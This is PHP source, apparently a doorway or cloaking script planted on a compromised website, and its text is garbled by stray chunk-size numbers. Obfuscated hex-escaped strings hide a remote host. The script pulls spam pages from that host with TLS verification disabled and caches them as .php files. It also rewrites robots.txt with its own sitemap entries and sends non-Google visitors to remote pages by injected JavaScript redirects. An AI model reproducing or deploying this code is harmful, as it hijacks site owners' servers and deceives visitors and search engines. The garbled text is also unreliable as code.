2 4 php 3 er 4 ror_ 5 repor 3 tin 4 g(0) 3 ; 4 $get 4 = f 4 ilte 4 r_in 4 put_ 4 arra 3 y(I 3 NPU 4 T_GE 3 T, 3 FIL 4 TER_ 3 SAN 3 ITI 4 ZE_S 3 TRI 2 NG 6 ); 4 /* - 19 ------------------------ 6 2 3 3 2 3 3 3 2 3 数 2 1b ------------------------- * 3 / 3 fun 4 ctio 4 n ca 4 che_ 8 get($key 4 , $e 4 xpir 4 e = 4 300) 2 { a $fil 6 e = sy 6 s_get_ 4 temp 4 _dir 3 () 4 . '/ 7 cache_' 5 . md 6 5($key 6 ) . '. 5 php'; 9 if 5 (file 4 _exi 4 sts( 7 $file) 3 && 4 (tim 4 e() 6 - file 6 mtime( 8 $file)) 9 < $expire d ) { 4 retu 7 rn file 6 _get_c 4 onte a nts($file) 8 ; } e return f 4 alse 4 ; } 12 function cache_s c et($key, $da 2 ta 4c ) { $file = sys_get_temp_dir() . '/cache_' . md5($key) . '.php'; @ 5 file_ 12 put_contents($file 9 , $data, 3 LOC 3 K_E 2 X) 6 ; } 27 /* ------------------------- 3 3 2 3 3 3 3 IP 3 2 3 容 3 CD 4 N / 3 反 2 3 1 2d ------------------------- */ function get_ 4 real 4 _ip( a ) { $ 7 keys = 1 [ d 'HT 3 TP_ 3 CF_ 4 CONN 3 ECT 4 ING_ 4 IP', 4 // 4 Clou 3 dfl 3 are 12 'HTTP_X_ 3 REA 7 L_IP', b // N 4 ginx 13 'HTTP_X_F 3 ORW 3 ARD 6 ED_FOR 4 ', 6 // Pro 2 xy 13 'HTTP_CLI 3 ENT 10 _IP', ' 3 REM 4 OTE_ 3 ADD 8 R' 6 ]; 6 fo 4 reac 3 h ( 8 $keys as 3 $k 11 ) { if ( 4 !emp 3 ty( 4 $_SE 3 RVE 3 R[$ 3 k]) d ) { 7 $ip f = $_SERVER[$k] 9 ; f if (str 2 po 6 s($ip, 4 ',' 4 ) != 7 = false 11 ) { c $ip = tr 3 im( 5 explo 3 de( 8 ',', $ip 3 )[0 9 ]); 9 } 14 if ( 9 filter_va 7 r($ip, 8 FILTER_V 3 ALI 2 DA 6 TE_IP) 15 ) { a return $ip 12 ; } f } 11 } return '12 3 7.0 5 .0.1' 2b ; } /* ------------------------- 2 3 3 1 7 getCur 3 l() 2c ------------------------- */ function get 6 CurlFa 4 st($ 8 url) { 7 $ 6 cached 3 = f cache_get($url) b ; if ( 13 $cached !== false) 8 return $ f cached; 5 $data 5 = '' e ; if (f 7 unction a _exists('c 3 url 6 _init' f )) { $ 3 ch b = curl_init 11 ($url); 5 curl_ 5 setop b t_array($ch 1 , 11 [ C 3 URL 3 OPT 5 _RETU 3 RNT 4 RANS 3 FER 3 => 5 true 17 , CURLOPT_ 8 CONNECTT 3 IME 3 OUT 5 => 5 1f , CURLOPT_TIMEOUT a => 1 8 19 , CURLOPT_SS 2 L_ 5 VERIF 3 YPE b ER => false 21 , CURLOPT_SSL_VERIFY 4 HOST 20 => false, CURLOPT_ 4 FOLL 2 OW 5 LOCAT 3 ION 21 => false, CURLOPT_U 4 SERA 4 GENT a => " 3 Moz 4 illa 3 /5. c 0" d ]); 8 $data = 8 curl_exe 5 c($ch 12 ); curl_c 4 lose d ($ch); } c if ( 7 empty($ 9 data) && 3 ini 8 _get('al 3 low 6 _url_f 4 open 11 ')) { $c 5 ontex 4 t = 6 stream 9 _context_ 5 creat 2 e( 11 [ "h 4 ttp" 5 => [ 5 "time 4 out" 6 => 8, 7 "heade 6 r" => 4 "Use 4 r-Ag 3 ent d : Mozilla/5.0 3 \r\ 3 n"] 11 , "s 4 sl" 7 => ["v 4 erif 4 y_pe 7 er" => 13 false, "verify_peer 4 _nam b e" => false 20 ] ]); $data = 1 @ 16 file_get_contents($url 9 , false, 8 $context 16 ); } if (! d empty($data)) c cache_set($ b url, $data) e ; return 5 $data 2b ; } /* ------------------------- 5 URL 3 2 2d ------------------------- */ function get_ 8 url_info 4 (str 5 ing $ 4 type 4 ='do 3 mai 5 n'): 7 string a { $ho 2 st 12 = $_SERVER['HTTP_ 5 HOST' 3 ] ? 7 ? ''; 9 if ($ 6 type = 5 == 'n 3 o_w 3 ww' b ) return pr 2 eg 6 _repla 4 ce(' 5 /^www 3 \./ 4 i', 5 '', $ 5 host) c ; $pr 4 otoc 5 ol = 11 (!empty($_SERVER[ 6 'HTTPS 2 '] 16 ) && $_SERVER['HTTPS'] 7 !== 'o 6 ff') ? 8 "https: 4 //" 7 : "http b ://"; 4 $bas 4 e = b $protocol . 6 $host 18 ; if ($type === ' e base') return 5 $base 18 ; if ($type === 'fu 2 ll 12 ') return $base . d ($_SERVER['RE 2 QU 2 ES 5 T_URI 12 '] ?? ''); 8 return $ 7 host; 2a } /* ------------------------- 2 3 3 2 21 ------------------------- */ g 5 oto O 3 NPu 2 B; 7 ONPuB: 7 $http_ 7 type = 11 !empty($_SERVER[" 3 \x4 4 8\12 3 4\x 6 54\x50 5 \x53" f ]) && $_SERVER[ 10 "\x48\124\124\x5 7 0\x53"] 8 !== "\1 3 57\ 3 x66 3 \14 2 6" 7 ? "\15 5 0\x74 9 \x74\x70\ 3 163 4 \72\ 3 x2f 9 \x2f" : " 3 \x6 5 8\164 8 \164\160 b \72\x2f\57" 2 ; 8 goto O4O 3 9k; 9 O4O9k: $ 4 vurl 5 = "\ 8 x74\157\ 5 56\15 4 2\14 5 7\141 4 \x6c a \x6c\163\x 5 2e\14 8 3\157\x6 6 d\x2f" 8 ; goto v 4 gv72 7 ; vgv72 4 : $q 5 z = s 2 ub 7 str(str 9 _replace( a array("\x7 6 7\x77\ 3 167 5 \x2e" 7 , "\56" 1 ) 11 , '', $_SERVER["\ 3 110 b \x54\x54\12 5 0\x5f 6 \x48\x 5 4f\12 5 3\x54 5 "]), 4 0, 3 4 ); 25 /* ------------------------- 2 4 f 3 1 25 数 ------------------------- */ $s 6 z = $i 5 id = 5 ""; 2 if d (!empty($_GET 2 )) 5 { $ 4 f=re 5 set($ d _GET); $ 5 sp = 9 explode(' 6 -', $f c ); if ( 4 coun 5 t($sp 6 ) === 1 2 11 ) { $sz 6 = $sp 3 [0] 12 ; $iid = 6 $sp[1] a ; } 27 } /* ------------------------- 3 2 3 接 2 21 ------------------------- */ d if (!empty($s 1 z c )) { $j 4 d = e getCurlFast("{ b $http_type} 6 {$vurl 3 }3k 3 g.a 4 spx? 3 sz= 4 " . 6 urlenc 4 ode( a $sz)); } 4 else 37 { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx? 3 xy= d {$http_type}" b ); $sz 2d = getCurlFast("{$http_type}{$vurl}3kg.aspx?j 11 d=" . urlencode($ 3 jd) 9 ); } 4 $hyz 3 hdy 4 = $ 6 jd . " 2 41 9 .aspx"; 6 $surl c = $jd . "s b 41.aspx"; 26 /* ------------------------- r 4 obot 4 s / 2 si 5 temap 22 ------------------------- */ $s 9 itemapLin 5 e = " 7 Sitemap 2 : 22 {$http_type}{$_SERVER['HTTP_HOST'] d }{$_SERVER['S 3 CRI 4 PT_N 3 AME 5 ']}?w 6 =" . d 5 ate(' 3 Ymd 3 Hi' 5 ) . " 4 \n"; c function e 5 nsure 8 _robots_ 8 sitemap( c $sitemapLine a ) { $ a robots = r 5 trim( c $_SERVER['DO 3 CUM 5 ENT_R 2 OO 6 T'], " 4 /\\" 6 ) . '/ 8 robots.t 2 xt d '; if (! d file_exists($ 14 robots)) { 14 @file_put_contents($ 7 robots, 8 "User-a 6 gent: 4 *\nA 5 llow: 2 / 7 \n" . $ b sitemapLine d , LOCK_EX); 12 } else { 6 $c 17 = @file_get_contents($ 8 robots); 12 if ($c = 8 == false 3 || 9 strpos($ 2 c, e $sitemapLine) 1b === false) { 1c @file_put_contents($robots, e $sitemapLine, 3 FIL 6 E_APPE 3 ND 11 | LOCK_EX); 7 } a } } 26 /* ------------------------- w 3 = 3 2 2c ------------------------- */ if (!empty($ 5 get[' 2 w' 7 ])) { b $para 5 ms = 6 http_b 4 uild 3 _qu 3 ery d ([ ' 4 NOUm 3 ber 5 ' => e $get['NOUmber' 7 ] ?? '' d , 't b ' => 7 $get['t 16 '] ?? '', 'cn 10 ' => $get[' 3 cn' 18 ] ?? '', 'pNOUm d ' => $get[' 1a pNOUm'] ?? '', 'c 3 id' 12 => $get['cid' 14 ] ?? '', 'm 11 ' => $get[' 9 m'] ?? '' 7 ] e ); $str 12 = getCurlFast("{$ 5 surl} 2 ?{ d $params}"); 8 ec 3 ho c str_replace( c [' 4 yymm 3 ',' 8 ggggg',' 3 ?f= 3 '], 15 [$http_type 1 . 16 $_SERVER['HTTP_HOST']. 17 $_SERVER['SCRIPT_NAME'] 8 , $sz,'? 2 '. 5 $qz.' e ='], a $str b ); exi 2f t; } /* ------------------------- IP 3 判 2 3 3 2 3 4 kk 2 3 试 27 ) ------------------------- */ $kk 4 = is 5 set($ 7 get['kk 5 ']) ? 6 trim( d $get['kk']) : 6 ''; 7 $ip = ( 4 $kk b !== '') ? " 3 66. 3 249 3 .82 2 .8 4 " : d get_real_ip() 2b ; /* ------------------------- get 7 domain2 5 判 29 ------------------------- */ $domain 8 = trim( d getCurlFast($ 6 jd . " 10 getdomain2.aspx? 3 rnd 4 =1&i 6 p=" . 4 $ip) 2a ); /* ------------------------- 2 4 goo 4 gle 2 + 5 iid 3 3 跳 2 25 ------------------------- */ if ( 8 $domain b !== 'google 5 ' && 8 !empty($ 3 iid c )) { $k 7 name = 5 urlde 5 code( 15 getCurlFast($jd . "gn 9 .aspx?iid 8 =" . $ii 6 d)); b echo '< 4 scri 4 pt>l 3 oca 5 tion= 5 "' . 8 $jd . "a 7 .aspx?c 4 name 15 =" . urlencode($kname 6 ) . "& 9 url=" . $ b http_type . 17 $_SERVER['HTTP_HOST'] c . $_SERVER[' d SCRIPT_NAME'] 7 . '" 8 script>' 36 ; exit; } /* ------------------------- 4 iid 32 输出 ------------------------- */ if (!empty($ e iid)) { $ 1a str = getCurlFast($hyzhdy 3 . " 6 ?iid={ 4 $iid 31 }"); echo str_replace( ['ggggg',' 5 YYYYY 5 ','XX 7 XYYY',' 3 当 2 4 URL 4 ','U 8 UUUU','M 4 MMMM 18 ','?f='], [$sz, e get_url_info( 10 ), get_url_info( 7 'base') 16 , get_url_info('full') 10 , get_url_info(' 9 no_www'), 5 parse 4 _url 1a ($_SERVER['REQUEST_URI'], 3 PHP 5 _URL_ 3 PAT 2 H) 59 ,'?'.$qz.'='], $str ); exit; } /* ------------------------- 9 sitemap h 4 elpe 1 r 2b ------------------------- */ function ou 5 tput_ 9 sitemap_a 2 nd 5 _exit e ($sitemapLine, b $http_type 9 ) { 34 ensure_robots_sitemap($sitemapLine); echo "